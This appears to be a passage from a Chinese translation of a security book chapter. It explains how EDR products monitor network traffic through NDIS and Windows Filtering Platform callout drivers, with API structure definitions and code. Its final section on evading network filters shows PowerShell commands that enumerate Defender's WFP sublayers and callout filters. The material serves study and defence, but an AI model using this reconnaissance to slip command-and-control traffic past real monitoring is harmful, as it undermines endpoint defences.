那么,如何处理子网内的横向移动,比如工作站之间的移动呢?在本地网络的每个节点之间部署一个网络监控设备并不具有成本效益,但安全团队仍然需要这些遥测数据来检测网络中的敌对活动。
这时,基于端点的流量监控传感器发挥了作用。通过在每个客户端上部署监控传感器,安全团队可以解决在网络中何处插入设备的问题。毕竟,如果传感器在客户端监控流量,如图 7-2 所示,它实际上在客户端与客户端可能通信的所有其他系统之间建立了中间人关系。

图 7-2:端点网络监控
使用基于端点的监控比基于网络的解决方案提供了另一个宝贵的优势:上下文。因为运行在端点上的代理程序可以收集额外的基于主机的信息,它可以描绘出网络流量生成的更完整图景,帮助解释其原因和方式。例如,它可以判断一个具有特定 PID 的outlook.exe的子进程每 60 秒与一个内容分发网络的端点进行一次通信;这可能是与初始访问相关的命令与控制信标。
基于主机的传感器可以获取与源进程、用户上下文以及连接发生前的活动相关的数据。相比之下,部署在网络上的设备只能看到与连接相关的度量信息,如源和目的地、数据包频率以及协议。虽然这可以为响应者提供有价值的数据,但它缺少一些关键的资讯,这些资讯将有助于他们的调查。
传统网络驱动接口规范驱动程序
有许多类型的网络驱动程序,其中大多数由网络驱动接口规范(NDIS)支持。NDIS 是一个抽象设备网络硬件的库。它还定义了一个标准接口,用于连接分层网络驱动程序(即操作系统不同网络层和级别上的驱动程序)并保持状态信息。NDIS 支持四种类型的驱动程序:
迷你端口 管理网络接口卡,例如发送和接收数据。这是 NDIS 驱动程序的最低层级。
协议 实现传输协议栈,如 TCP/IP。这是 NDIS 驱动程序的最高层级。
过滤 位于迷你端口和协议驱动程序之间,用于监控和修改两者之间的交互。
中间 位于迷你端口和协议驱动程序之间,暴露两者的入口点以进行通信请求。这些驱动程序暴露一个虚拟适配器,协议驱动程序将数据包发送到该适配器。然后,中间驱动程序将数据包发送到相应的迷你端口。迷你端口完成操作后,中间驱动程序将信息返回给协议驱动程序。这些驱动程序通常用于在多个网络接口卡之间进行负载均衡流量。
这些驱动程序与 NDIS 的交互可以在图 7-3 中的(极其简化的)图示中看到。
从安全监控的角度来看,过滤驱动程序最为有效,因为它们可以在网络栈的最低层捕获网络流量,正当流量被传递到迷你端口和相关的网络接口卡之前。然而,这些驱动程序也带来一些挑战,如代码复杂度较高、对网络和传输层的支持有限以及安装过程困难。

图 7-3:NDIS 驱动关系
但是,谈到安全监控时,过滤驱动程序的最大问题可能是它们缺乏上下文。虽然它们可以捕获正在处理的流量,但它们并不了解调用者的上下文(发起请求的进程),并且缺少为 EDR 代理提供有价值遥测数据所需的元数据。因此,EDR 几乎总是使用另一个框架:Windows 过滤平台(WFP)。
Windows 过滤平台
WFP 是一组用于创建网络过滤应用程序的 API 和服务,包含了用户模式和内核模式的组件。它的设计目的是取代包括 NDIS 过滤器在内的传统过滤技术,最早从 Windows Vista 和 Server 2008 开始使用。虽然 WFP 在网络性能方面有一些缺点,但它通常被认为是创建过滤驱动程序的最佳选择。甚至 Windows 防火墙本身也是基于 WFP 构建的。
该平台提供了许多优点。它允许 EDR(端点检测与响应)过滤与特定应用程序、用户、连接、网络接口卡和端口相关的流量。它支持 IPv4 和 IPv6,提供引导时的安全性,直到基础过滤引擎启动,并允许驱动程序过滤、修改并重新注入流量。它还可以处理解密前后的 IPsec 数据包,并集成硬件卸载,允许过滤驱动程序使用硬件进行数据包检查。
WFP 的实现可能比较难以理解,因为它有一个复杂的架构,并且使用了独特的名称来表示其核心组件,这些组件分布在用户模式和内核模式中。WFP 的架构大致如下所示,在图 7-4 中可以看到。
为了理解这一切,我们可以跟踪来自连接到互联网服务器的客户端的 TCP 流。客户端首先调用一个函数,如 WS2_32!send() 或 WS2_32!WSASend() 来通过已连接的套接字发送数据。这些函数最终将数据包传递给由 tcpip.sys(用于 IPv4)和 tcpip6.sys(用于 IPv6)提供的网络栈。
当数据包穿越网络栈时,它会被传递到与栈的相关层(如流层)关联的 shim。Shim 是内核组件,具有几个关键功能。它们的首要任务之一是从数据包中提取数据和属性,并将它们传递给过滤引擎,以启动过滤过程。

图 7-4:WFP 架构
过滤引擎
过滤器引擎,有时为了避免与用户模式的基本过滤引擎混淆,称为通用过滤引擎,在网络层和传输层执行过滤。它有自己的层次结构,这些层是用来组织过滤器集合的容器。每一层都被定义为 GUID,底层有一个模式说明可以添加哪些类型的过滤器。层次结构还可以进一步细分为子层,用于管理过滤冲突。(例如,假设在同一主机上配置了“打开端口 1028”和“阻止所有大于 1024 的端口”这两条规则。)所有层次都继承了默认的子层,开发人员也可以添加自己的子层。
过滤器仲裁
你可能会好奇,过滤器引擎是如何知道评估子层和过滤器的顺序的。如果规则是随机应用到流量上的,这可能会引发严重问题。例如,假设第一个规则是默认拒绝,丢弃所有流量。为了解决这个问题,子层和过滤器可以被分配一个优先级值,叫做权重,它决定了过滤器管理器应该按什么顺序处理它们。这个排序逻辑被称为过滤器仲裁。
在过滤器仲裁过程中,过滤器会按照优先级从高到低评估从数据包中解析出来的数据,以确定如何处理该数据包。每个过滤器都包含条件和动作,类似于常见的防火墙规则(例如,“如果目标端口是 4444,阻止该数据包”或“如果应用程序是edge.exe,允许该数据包”)。过滤器可以返回的基本动作有阻止和允许,但还有三种支持的其他动作,将数据包的详细信息传递给调用驱动程序:FWP_ACTION_CALLOUT_TERMINATING、FWP_ACTION_CALLOUT_INSPECTION和FWP_ACTION_CALLOUT_UNKNOWN。
调用驱动程序
调用驱动程序是第三方驱动程序,它扩展了 WFP 的过滤功能,超出了基本过滤器的范围。这些驱动程序提供了深度包检查、家长控制和数据日志记录等高级功能。当 EDR 供应商有意捕获网络流量时,通常会部署调用驱动程序来监控系统。
和基本过滤器一样,调用驱动程序可以选择它们感兴趣的流量类型。当与特定操作关联的调用驱动程序被调用时,它们可以根据其独特的内部处理逻辑建议对数据包采取某种动作。调用驱动程序可以允许某些流量、阻止它、继续处理它(即传递给其他调用驱动程序)、延迟处理、丢弃它或不做任何处理。这些动作只是建议,驱动程序可能会在过滤器仲裁过程中覆盖这些建议。
当过滤仲裁结束时,结果将返回给 shim,它将根据最终的过滤决策采取行动(例如,允许数据包离开主机)。
实现 WFP Callout 驱动程序
当 EDR 产品希望拦截并处理主机上的网络流量时,它最有可能使用 WFP Callout 驱动程序。这些驱动程序必须遵循一个相对复杂的工作流程来设置其 callout 函数,但考虑到数据包在网络栈和过滤管理器中的传递方式,这个流程应该是可以理解的。这些驱动程序也比它们的传统 NDIS 对应物要容易处理得多,微软的文档对于希望将此功能添加到其传感器阵列中的 EDR 开发人员非常有帮助。
打开过滤引擎会话
像其他类型的驱动程序一样,WFP Callout 驱动程序的初始化从其内部的 DriverEntry() 函数开始。Callout 驱动程序将执行的第一项操作是,WFP 特有的行为——与过滤引擎打开会话。为此,驱动程序调用 fltmgr!FwpmEngineOpen(),该函数的定义见清单 7-1。
DWORD FwpmEngineOpen0(
[in, optional] const wchar_t *serverName,
[in] UINT32 authnService,
[in, optional] SEC_WINNT_AUTH_IDENTITY_W *authIdentity,
[in, optional] const FWPM_SESSION0 *session,
[out] HANDLE *engineHandle
);
清单 7-1:fltmgr!FwpmEngineOpen() 函数定义
传递给此函数的最显著的输入参数是 authnService,它决定使用的身份验证服务。它可以是 RPC_C_AUTHN_WINNT 或 RPC_C_AUTHN_DEFAULT,两者本质上都只是告诉驱动程序使用 NTLM 身份验证。当该函数成功完成时,过滤引擎的句柄将通过 engineHandle 参数返回,并通常保存在全局变量中,因为驱动程序在卸载过程中需要该句柄。
注册 Callouts
接下来,驱动程序注册其 callouts。此操作通过调用 fltmgr!FwpmCalloutRegister() API 完成。在运行 Windows 8 或更高版本的系统中,这个函数会被转换为 fltmgr!FwpsCalloutRegister2(),其定义包含在清单 7-2 中。
NTSTATUS FwpsCalloutRegister2(
[in, out] void *deviceObject,
[in] const FWPS_CALLOUT2 *callout,
[out, optional] UINT32 *calloutId
);
清单 7-2:fltmgr!FwpsCalloutRegister2() 函数定义
传递给此函数的指向 FWPS_CALLOUT2 结构的指针(通过其 callout 参数)包含有关回调驱动程序内部处理数据包过滤的函数的详细信息。该结构定义见 列表 7-3。
typedef struct FWPS_CALLOUT2_ {
GUID calloutKey;
UINT32 flags;
FWPS_CALLOUT_CLASSIFY_FN2 classifyFn;
FWPS_CALLOUT_NOTIFY_FN2 notifyFn;
FWPS_CALLOUT_FLOW_DELETE_NOTIFY_FN0 flowDeleteFn;
} FWPS_CALLOUT2;
列表 7-3:FWPS_CALLOUT2 结构定义
notifyFn 和 flowDeleteFn 成员是回调函数,用于在有信息需要传递与回调本身相关或回调处理的数据已经终止时,通知驱动程序。由于这些回调函数与检测工作无关,因此我们不会进一步详细介绍它们。然而,classifyFn 成员是一个指针,指向每当有数据包需要处理时被调用的函数,它包含了用于检查的大部分逻辑。我们将在“通过网络过滤器检测对手手段”一节中详细介绍这些回调函数,详见 第 135 页。
将回调函数添加到过滤引擎
定义了回调函数之后,我们可以通过调用 fwpuclnt!FwpmCalloutAdd(),传入之前获取的引擎句柄和指向 FWPM_CALLOUT 结构的指针(该结构显示在 列表 7-4 中)来将回调函数添加到过滤引擎中。
typedef struct FWPM_CALLOUT0_ {
GUID calloutKey;
FWPM_DISPLAY_DATA0 displayData;
UINT32 flags;
GUID *providerKey;
FWP_BYTE_BLOB providerData;
GUID applicableLayer;
UINT32 calloutId;
} FWPM_CALLOUT0;
列表 7-4:FWPM_CALLOUT 结构定义
该结构包含有关回调的数据,例如其可选的友好名称和描述,这些信息存储在其 displayData 成员中,以及回调应分配到的层(例如,FWPM_LAYER_STREAM_V4 用于 IPv4 流)。微软文档中列出了数十个过滤器层标识符,每个标识符通常都有 IPv4 和 IPv6 版本。当驱动程序用于添加回调的函数完成时,它返回一个回调的运行时标识符,该标识符将在卸载时继续使用。
与过滤器层不同,开发人员可以向系统添加自己的子层。在这些情况下,驱动程序将调用fwpuclnt!FwpmSublayerAdd(),该函数接收引擎句柄、指向FWPM_SUBLAYER结构的指针,以及一个可选的安全描述符。作为输入传递的结构包括子层键、一个用于唯一标识子层的GUID、一个可选的友好名称和描述、一个可选的标志,确保子层在重启后仍然存在、子层的权重,以及其他包含与子层关联状态的成员。
添加新过滤器对象
驱动程序执行的最后一个操作是向系统添加一个新的过滤器对象。这个过滤器对象是驱动程序在处理连接时评估的规则。要创建一个,驱动程序调用fwpuclnt!FwpmFilterAdd(),传入引擎句柄、指向 sListing 7-5 中所示的FWPM_FILTER结构的指针,以及一个可选的指向安全描述符的指针。
typedef struct FWPM_FILTER0_ {
GUID filterKey;
FWPM_DISPLAY_DATA0 displayData;
UINT32 flags;
GUID *providerKey;
FWP_BYTE_BLOB providerData;
GUID layerKey; GUID subLayerKey;
FWP_VALUE0 weight;
UINT32 numFilterConditions;
FWPM_FILTER_CONDITION0 *filterCondition;
FWPM_ACTION0 action;
union {
UINT64 rawContext;
GUID providerContextKey;
};
GUID *reserved;
UINT64 filterId;
FWP_VALUE0 effectiveWeight;
} FWPM_FILTER0;
列表 7-5:FWPM_FILTER结构定义
FWPM_FILTER结构包含一些值得注意的关键成员。flags成员包含描述过滤器属性的多个标志,例如过滤器是否应在系统重启后保持存在(FWPM_FILTER_FLAG_PERSISTENT)或它是否为启动时过滤器(FWPM_FILTER_FLAG_BOOTTIME)。weight成员定义过滤器相对于其他过滤器的优先级值。numFilterConditions是filterCondition成员中指定的过滤条件的数量,该成员是一个FWPM_FILTER_CONDITION结构的数组,描述了所有过滤条件。为了让调用函数处理事件,所有条件必须为真。最后,action是一个FWP_ACTION_TYPE值,指示如果所有过滤条件都为真,应该执行什么操作。这些操作包括允许、阻止或将请求传递给调用函数。
在这些成员中,filterCondition 是最重要的,因为数组中的每个过滤条件都代表一个独立的“规则”,连接将根据该规则进行评估。每个规则本身由条件值和匹配类型组成。此结构体的定义请参见列表 7-6。
typedef struct FWPM_FILTER_CONDITION0_ {
GUID fieldKey;
FWP_MATCH_TYPE matchType;
FWP_CONDITION_VALUE0 conditionValue;
} FWPM_FILTER_CONDITION0;
列表 7-6:FWPM_FILTER_CONDITION 结构体定义
第一个成员,fieldKey,表示要评估的属性。每个过滤层都有其特定的属性,通过 GUID 识别。例如,插入流层的过滤器可以与本地和远程 IP 地址、端口、流量方向(入站或出站)和标志(例如,连接是否使用代理)一起工作。
matchType 成员指定要执行的匹配类型。这些比较类型在 FWP_MATCH_TYPE 枚举中定义,如列表 7-7 所示,可以匹配字符串、整数、范围和其他数据类型。
typedef enum FWP_MATCH_TYPE_ {
FWP_MATCH_EQUAL = 0,
FWP_MATCH_GREATER,
FWP_MATCH_LESS,
FWP_MATCH_GREATER_OR_EQUAL,
FWP_MATCH_LESS_OR_EQUAL,
FWP_MATCH_RANGE,
FWP_MATCH_FLAGS_ALL_SET,
FWP_MATCH_FLAGS_ANY_SET,
FWP_MATCH_FLAGS_NONE_SET,
FWP_MATCH_EQUAL_CASE_INSENSITIVE,
FWP_MATCH_NOT_EQUAL,
FWP_MATCH_PREFIX,
FWP_MATCH_NOT_PREFIX,
FWP_MATCH_TYPE_MAX
} FWP_MATCH_TYPE;
列表 7-7:FWP_MATCH_TYPE 枚举类型
结构体的最后一个成员,conditionValue,是用于匹配连接的条件。过滤条件值由两部分组成,数据类型和条件值,它们共同存储在 FWP_CONDITION_VALUE 结构体中,如列表 7-8 所示。
typedef struct FWP_CONDITION_VALUE0_ {
FWP_DATA_TYPE type;
union {
UINT8 uint8;
UINT16 uint16;
UINT32 uint32;
UINT64 *uint64;
INT8 int8;
INT16 int16;
INT32 int32;
INT64 *int64;
float float32;
double *double64;
FWP_BYTE_ARRAY16 *byteArray16;
FWP_BYTE_BLOB *byteBlob;
SID *sid;
FWP_BYTE_BLOB *sd;
FWP_TOKEN_INFORMATION *tokenInformation;
FWP_BYTE_BLOB *tokenAccessInformation;
LPWSTR unicodeString;
FWP_BYTE_ARRAY6 *byteArray6;
FWP_V4_ADDR_AND_MASK *v4AddrMask;
FWP_V6_ADDR_AND_MASK *v6AddrMask;
FWP_RANGE0 *rangeValue;
};
} FWP_CONDITION_VALUE0;
列表 7-8:FWP_CONDITION_VALUE 结构体定义
FWP_DATA_TYPE 值表示驱动程序应使用哪个联合成员来评估数据。例如,如果类型成员是 FWP_V4_ADDR_MASK,表示一个 IPv4 地址,那么将访问 v4AddrMask 成员。
当匹配类型和条件值成员结合时,它们形成一个离散的过滤要求。例如,这个要求可能是“如果目标 IP 地址是 1.1.1.1”或“如果 TCP 端口大于 1024”。当条件评估为真时应该发生什么?为了确定这一点,我们使用 FWPM_FILTER 结构体的 action 成员。在执行防火墙活动的调用驱动程序中,我们可以根据某些属性选择允许或阻止流量。然而,在安全监控的上下文中,大多数开发人员通过指定 FWP_ACTION_CALLOUT_INSPECTION 标志将请求转发到调用函数,而不期望调用函数对连接做出允许/拒绝的决策。
如果我们将 filterCondition 成员的三个组成部分结合起来,我们可以将过滤条件表示为一个完整的句子,例如 图 7-5 中所示的那样。

图 7-5:过滤条件
此时,我们已经有了规则的基本“如果这样,做那样”的逻辑,但我们还没有处理与过滤仲裁相关的其他条件。
分配权重和子层
如果我们的驱动程序有过滤器,例如同时允许 TCP 端口 1080 上的流量并阻止大于 1024 的 TCP 端口的出站连接,该怎么办?为了处理这些冲突,我们必须为每个过滤器分配一个权重。权重越大,条件的优先级越高,应该越早被评估。例如,允许在端口 1080 上的流量的过滤器应该在阻止所有使用大于 1024 端口的流量的过滤器之前进行评估,以便允许使用端口 1080 的软件正常工作。在代码中,权重只是一个 FWP_VALUE(UINT8 或 UINT64),它被分配在 FWPM_FILTER 结构体的权重成员中。
除了分配权重,我们还需要将过滤器分配到子层,以便它在正确的时间被评估。我们通过在结构体的 layerKey 成员中指定一个 GUID 来实现。如果我们创建了自己的子层,我们将在此处指定其 GUID。否则,我们将使用 表 7-1 中列出的默认子层 GUID 之一。
表 7-1: 默认子层 GUID
| 过滤器子层标识符 | 过滤器类型 |
|---|---|
| FWPM_SUBLAYER_EDGE_TRAVERSAL(BA69DC66-5176-4979-9C89-26A7B46A8327) | 边缘穿透 |
| FWPM_SUBLAYER_INSPECTION(877519E1-E6A9-41A5-81B4-8C4F118E4A60) | 检查 |
| FWPM_SUBLAYER_IPSEC_DOSP(E076D572-5D3D-48EF-802B-909EDDB098BD) | IPsec 拒绝服务 (DoS) 保护 |
| FWPM_SUBLAYER_IPSEC_FORWARD_OUTBOUND_TUNNEL (A5082E73-8F71-4559-8A9A-101CEA04EF87) | IPsec 转发出站隧道 |
| FWPM_SUBLAYER_IPSEC_TUNNEL(83F299ED-9FF4-4967-AFF4-C309F4DAB827) | IPsec 隧道 |
| FWPM_SUBLAYER_LIPS(1B75C0CE-FF60-4711-A70F-B4958CC3B2D0) | 传统 IPsec 过滤器 |
| FWPM_SUBLAYER_RPC_AUDIT(758C84F4-FB48-4DE9-9AEB-3ED9551AB1FD) | 远程过程调用 (RPC) 审计 |
| FWPM_SUBLAYER_SECURE_SOCKET(15A66E17-3F3C-4F7B-AA6C-812AA613DD82) | 安全套接字 |
| FWPM_SUBLAYER_TCP_CHIMNEY_OFFLOAD(337608B9-B7D5-4D5F-82F9-3618618BC058) | TCP Chimney 卸载 |
| FWPM_SUBLAYER_TCP_TEMPLATES(24421DCF-0AC5-4CAA-9E14-50F6E3636AF0) | TCP 模板 |
| FWPM_SUBLAYER_UNIVERSAL(EEBECC03-CED4-4380-819A-2734397B2B74) | 未分配到任何其他子层的项 |
请注意,FWPM_SUBLAYER_IPSEC_SECURITY_REALM 子层标识符定义在 fwpmu.h 头文件中,但未文档化。
添加安全描述符
我们可以传递给 fwpuclnt!FwpmFilterAdd() 的最后一个参数是安全描述符。虽然它是可选的,但它允许开发人员显式设置其过滤器的访问控制列表。否则,该函数将为过滤器应用默认值。此默认安全描述符授予本地管理员组成员 GenericAll 权限,以及网络配置操作员组成员 GenericRead、GenericWrite 和 GenericExecute 权限,以及诊断服务主机 (WdiServiceHost)、IPsec 策略代理 (PolicyAgent)、网络列表服务 (NetProfm)、远程过程调用 (RpcSs) 和 Windows 防火墙 (MpsSvc) 服务的权限。最后,FWPM_ACTRL_OPEN 和 FWPM_ACTRL_CLASSIFY 权限被授予 Everyone 组。
在调用 fwpuclnt!FwpmFilterAdd() 完成后,回调驱动程序已初始化,并将处理事件,直到驱动程序准备好卸载。卸载过程超出了本章的范围,因为它与安全监控关系不大,但它会关闭之前打开的所有句柄,删除创建的子层和过滤器,并安全地移除驱动程序。
使用网络过滤器检测对手的作战技巧
WFP 过滤器驱动程序收集的大部分遥测数据来自其回调。这些回调通常是 分类 回调,接收有关连接的信息作为输入。从这些数据中,开发人员可以提取有助于检测恶意活动的遥测信息。让我们进一步探索这些函数,首先从它们在示例 7-9 中的定义开始。
FWPS_CALLOUT_CLASSIFY_FN2 FwpsCalloutClassifyFn2;
void FwpsCalloutClassifyFn2(
[in] const FWPS_INCOMING_VALUES0 *inFixedValues,
[in] const FWPS_INCOMING_METADATA_VALUES0 *inMetaValues,
[in, out, optional] void *layerData,
[in, optional] const void *classifyContext,
[in] const FWPS_FILTER2 *filter,
[in] UINT64 flowContext,
[in, out] FWPS_CLASSIFY_OUT0 *classifyOut
)
{...}
示例 7-9:FwpsCalloutClassifyFn 的定义
在调用时,回调会接收指向几个包含有关正在处理的数据的有趣细节的结构的指针。这些细节包括你期望从任何数据包捕获应用程序中接收的基本网络信息(例如远程 IP 地址)以及提供附加上下文的元数据,包括请求进程的 PID、镜像路径和令牌。
作为回报,回调函数将设置流层 shim 应采取的操作(假设正在处理的数据包位于流层),以及过滤引擎应采取的操作,例如阻止或允许该数据包。它也可能将决策过程推迟到下一个注册的回调函数。我们将在后续章节中更详细地描述这一过程。
基本网络数据
第一个参数是指向 FWPS_INCOMING_VALUES 结构的指针,该结构在 Listing 7-10 中定义,包含了从过滤引擎传递给回调函数的连接信息。
typedef struct FWPS_INCOMING_VALUES0_ {
UINT16 layerId;
UINT32 valueCount;
FWPS_INCOMING_VALUE0 *incomingValue;
} FWPS_INCOMING_VALUES0;
Listing 7-10: FWPS_INCOMING_VALUES 结构
该结构的第一个成员包含了数据获取时所处的过滤层标识符。微软定义了这些值(例如,FWPM_LAYER_INBOUND_IPPACKET_V4)。
第二个成员包含了由第三个参数 incomingValue 指向的数组中的条目数。这个数组由 FWPS_INCOMING_VALUE 结构组成,包含过滤引擎传递给回调函数的数据。数组中的每个结构只包含一个 FWP_VALUE 结构,定义见 Listing 7-11,该结构描述了数据的类型和值。
typedef struct FWP_VALUE0_ {
FWP_DATA_TYPE type;
union {
UINT8 uint8;
UINT16 uint16;
UINT32 uint32;
UINT64 *uint64;
INT8 int8;
INT16 int16;
INT32 int32;
INT64 *int64;
float float32;
double *double64;
FWP_BYTE_ARRAY16 *byteArray16;
FWP_BYTE_BLOB *byteBlob;
SID *sid;
FWP_BYTE_BLOB *sd;
FWP_TOKEN_INFORMATION *tokenInformation;
FWP_BYTE_BLOB *tokenAccessInformation;
LPWSTR unicodeString;
FWP_BYTE_ARRAY6 *byteArray6;
};
} FWP_VALUE0;
Listing 7-11: FWP_VALUE 结构定义
为了访问数组中的数据,驱动程序需要知道数据所在的索引。这个索引根据正在处理的层标识符不同而变化。例如,如果层是 FWPS_LAYER_OUTBOUND_IPPACKET_V4,则驱动程序会根据它在 FWPS_FIELDS_OUTBOUND_IPPACKET_V4 枚举中的索引访问字段,具体定义见 Listing 7-12。
typedef enum FWPS_FIELDS_OUTBOUND_IPPACKET_V4_ {
FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_LOCAL_ADDRESS,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_LOCAL_ADDRESS_TYPE,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_REMOTE_ADDRESS,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_LOCAL_INTERFACE,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_INTERFACE_INDEX,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_SUB_INTERFACE_INDEX,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_FLAGS,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_INTERFACE_TYPE,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_TUNNEL_TYPE,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_COMPARTMENT_ID,
FWPS_FIELD_OUTBOUND_IPPACKET_V4_MAX
} FWPS_FIELDS_OUTBOUND_IPPACKET_V4;
Listing 7-12: FWPS_FIELDS_OUTBOUND_IPPACKET_V4 枚举
例如,如果 EDR 的驱动程序想要检查远程 IP 地址,它可以使用 Listing 7-13 中的代码来访问该值。
if (inFixedValues->layerId == FWPS_LAYER_OUTBOUND_IPPACKET_V4)
{
UINT32 remoteAddr = inFixedValues->
incomingValues[FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_REMOTE_ADDRESS].value.uint32;
`--snip--`
}
Listing 7-13: 访问传入值中的远程 IP 地址
在这个例子中,EDR 驱动程序通过引用索引 FWPS_FIELD_OUTBOUND_IPPACKET_V4_IP_REMOTE_ADDRESS 处的无符号 32 位整数(uint32)值来提取 IP 地址。
元数据
调用注释函数接收到的下一个参数是指向 FWPS_INCOMING_METADATA_VALUES0 结构的指针,该结构为 EDR 提供了极其有价值的元数据,超出了你从像 Wireshark 这样的数据包捕获应用程序中预期得到的信息。你可以在 清单 7-14 中查看这些元数据。
typedef struct FWPS_INCOMING_METADATA_VALUES0_ {
UINT32 currentMetadataValues;
UINT32 flags;
UINT64 reserved;
FWPS_DISCARD_METADATA0 discardMetadata;
UINT64 flowHandle;
UINT32 ipHeaderSize;
UINT32 transportHeaderSize;
FWP_BYTE_BLOB *processPath;
UINT64 token;
UINT64 processId;
UINT32 sourceInterfaceIndex;
UINT32 destinationInterfaceIndex;
ULONG compartmentId;
FWPS_INBOUND_FRAGMENT_METADATA0 fragmentMetadata;
ULONG pathMtu;
HANDLE completionHandle;
UINT64 transportEndpointHandle;
SCOPE_ID remoteScopeId;
WSACMSGHDR *controlData;
ULONG controlDataLength;
FWP_DIRECTION packetDirection;
PVOID headerIncludeHeader;
ULONG headerIncludeHeaderLength;
IP_ADDRESS_PREFIX destinationPrefix;
UINT16 frameLength;
UINT64 parentEndpointHandle; UINT32 icmpIdAndSequence;
DWORD localRedirectTargetPID;
SOCKADDR *originalDestination;
HANDLE redirectRecords;
UINT32 currentL2MetadataValues;
UINT32 l2Flags;
UINT32 ethernetMacHeaderSize;
UINT32 wiFiOperationMode;
NDIS_SWITCH_PORT_ID vSwitchSourcePortId;
NDIS_SWITCH_NIC_INDEX vSwitchSourceNicIndex;
NDIS_SWITCH_PORT_ID vSwitchDestinationPortId;
UINT32 padding0;
USHORT padding1;
UINT32 padding2;
HANDLE vSwitchPacketContext;
PVOID subProcessTag;
UINT64 reserved1;
} FWPS_INCOMING_METADATA_VALUES0;
清单 7-14:FWPS_INCOMING_METADATA_VALUES0 结构定义
我们提到过,在每个端点上监视网络流量的主要好处之一是这种方法为 EDR 提供的上下文。我们可以在 processPath、processId 和 token 成员中看到这一点,它们提供了关于端点进程和相关主体的信息。
请注意,并非该结构中的所有值都会被填充。要查看哪些值存在,调用注释函数会检查 currentMetadataValues 成员,该成员是多个元数据过滤器标识符的按位或操作。微软非常友好地为我们提供了一个宏 FWPS_IS_METADATA_FIELD_PRESENT(),如果我们感兴趣的值存在,它将返回 true。
层数据
在元数据之后,分类函数接收关于正在被过滤的层的信息以及调用注释被触发的条件。例如,如果数据来源于流层,则参数将指向一个 FWPS_STREAM_CALLOUT_IO_PACKET0 结构。该层数据包含指向 FWPS_STREAM_DATA0 结构的指针,该结构包含用于编码流特征的标志(例如,是否为入站或出站,是否为高优先级,以及网络堆栈是否将在最终数据包中传递 FIN 标志)。它还将包含流的偏移量、流中数据的大小,以及指向描述当前流部分的 NET_BUFFER_LIST 的指针。
该缓冲区列表是一个由 NET_BUFFER 结构组成的链表。列表中的每个结构都包含一系列内存描述符列表,用于存储通过网络发送或接收的数据。请注意,如果请求不是来自流层,则 layerData 参数将仅指向一个 NET_BUFFER_LIST,假设它不为空。
层数据结构还包含一个streamAction成员,它是一个FWPS_STREAM_ACTION_TYPE值,描述了回调函数建议流层 shim 采取的动作。包括以下几种:
-
不做任何操作(FWPS_STREAM_ACTION_NONE)。
-
允许流中的所有未来数据段继续传输而不进行检查(FWPS_STREAM_ACTION_ALLOW_CONNECTION)。
-
请求更多数据。如果设置了此项,回调函数必须将countBytesRequired成员填充为所需的流数据字节数(FWPS_STREAM_ACTION_NEED_MORE_DATA)。
-
丢弃连接(FWPS_STREAM_ACTION_DROP_CONNECTION)。
-
推迟处理,直到调用fwpkclnt!FwpsStreamContinue0()。这用于流控制,减缓传入数据的速度(FWPS_STREAM_ACTION_DEFER)。
不要将这个streamAction成员与传递给分类函数的classifyOut参数混淆,后者用于指示过滤操作的结果。
规避网络过滤器
你可能主要是对规避网络过滤器感兴趣,因为你希望将指挥控制流量发送到互联网,但其他类型的流量也会受到过滤,比如横向移动和网络侦察。
然而,在规避 WFP 回调驱动程序时,选项并不多(至少与其他传感器组件相比,选择较少)。在许多方面,规避网络过滤器非常类似于执行标准的防火墙规则评估。一些过滤器可能会明确允许或拒绝流量,或者它们可能会将内容发送给回调函数进行检查。
与任何其他类型的规则覆盖分析一样,主要的工作是列举系统上各种过滤器、它们的配置以及它们的规则集。幸运的是,许多可用的工具可以使这个过程相对简单。内置的netsh命令允许你将当前注册的过滤器导出为 XML 文档,示例见列表 7-15。
PS > **netsh**
netsh> **wfp**
netsh wfp> **show filters**
Data collection successful; output = filters.xml
netsh wfp> **exit**
PS > **Select-Xml .\filters.xml -XPath 'wfpdiag/filters/item/displayData/name' |**
**>> ForEach-Object {$_.Node.InnerXML}**
Rivet IpPacket V4 IpPacket Outbound Filtering Layer
Rivet IpPacket V6 Network Outbound Filtering Layer
Boot Time Filter
Boot Time Filter
Rivet IpV4 Inbound Transport Filtering Layer
Rivet IpV6 Inbound Transport Filtering Layer
Rivet IpV4 Outbound Transport Filtering Layer
Rivet IpV6 Outbound Filtering Layer Boot Time Filter
Boot Time Filter
`--snip--`
列表 7-15:使用netsh列举已注册的过滤器
由于解析 XML 可能会带来一些麻烦,您可能更愿意使用一个替代工具——NtObjectManager。它包含用于收集与 WFP 组件相关的信息的 cmdlet,包括子层标识符和过滤器。
为了了解系统上哪些驱动程序在检查流量,您应该首先执行的操作是列出所有非默认的子层。您可以使用清单 7-16 中显示的命令来完成此操作。
PS > **Import-Module NtObjectManager**
PS > **Get-FwSubLayer |**
**>> Where-Object {$_.Name -notlike ‘WFP Built-in*’} |**
**>> select Weight, Name, keyname |**
**>> Sort-Object Weight -Descending | fl**
Weight : 32765
Name : IPxlat Forward IPv4 sub layer
KeyName : {4351e497-5d8b-46bc-86d9-abccdb868d6d}
Weight : 4096
Name : windefend
KeyName : {3c1cd879-1b8c-4ab4-8f83-5ed129176ef3}
Weight : 256
Name : OpenVPN
KeyName : {2f660d7e-6a37-11e6-a181-001e8c6e04a2}
清单 7-16:使用 NtObjectManager 枚举 WFP 子层
权重表示子层在过滤器仲裁过程中被评估的顺序。寻找一些有趣的子层,值得进一步探索,比如那些与提供安全监控的应用程序相关的子层。然后,使用 Get-FwFilter cmdlet,返回与指定子层相关的过滤器,如清单 7-17 所示。
PS > **Get-FwFilter |**
**>> Where-Object {$_.SubLayerKeyName -eq '{3c1cd879-1b8c-4ab4-8f83-5ed129176ef3}'} |**
**>> Where-Object {$_.IsCallout -eq $true} |**
**>> select ActionType,Name,LayerKeyName,CalloutKeyName,FilterId |**
**>> fl**
ActionType : CalloutTerminating
Name : windefend_stream_v4
LayerKeyName : FWPM_LAYER_STREAM_V4
CalloutKeyName : {d67b238d-d80c-4ba7-96df-4a0c83464fa7}
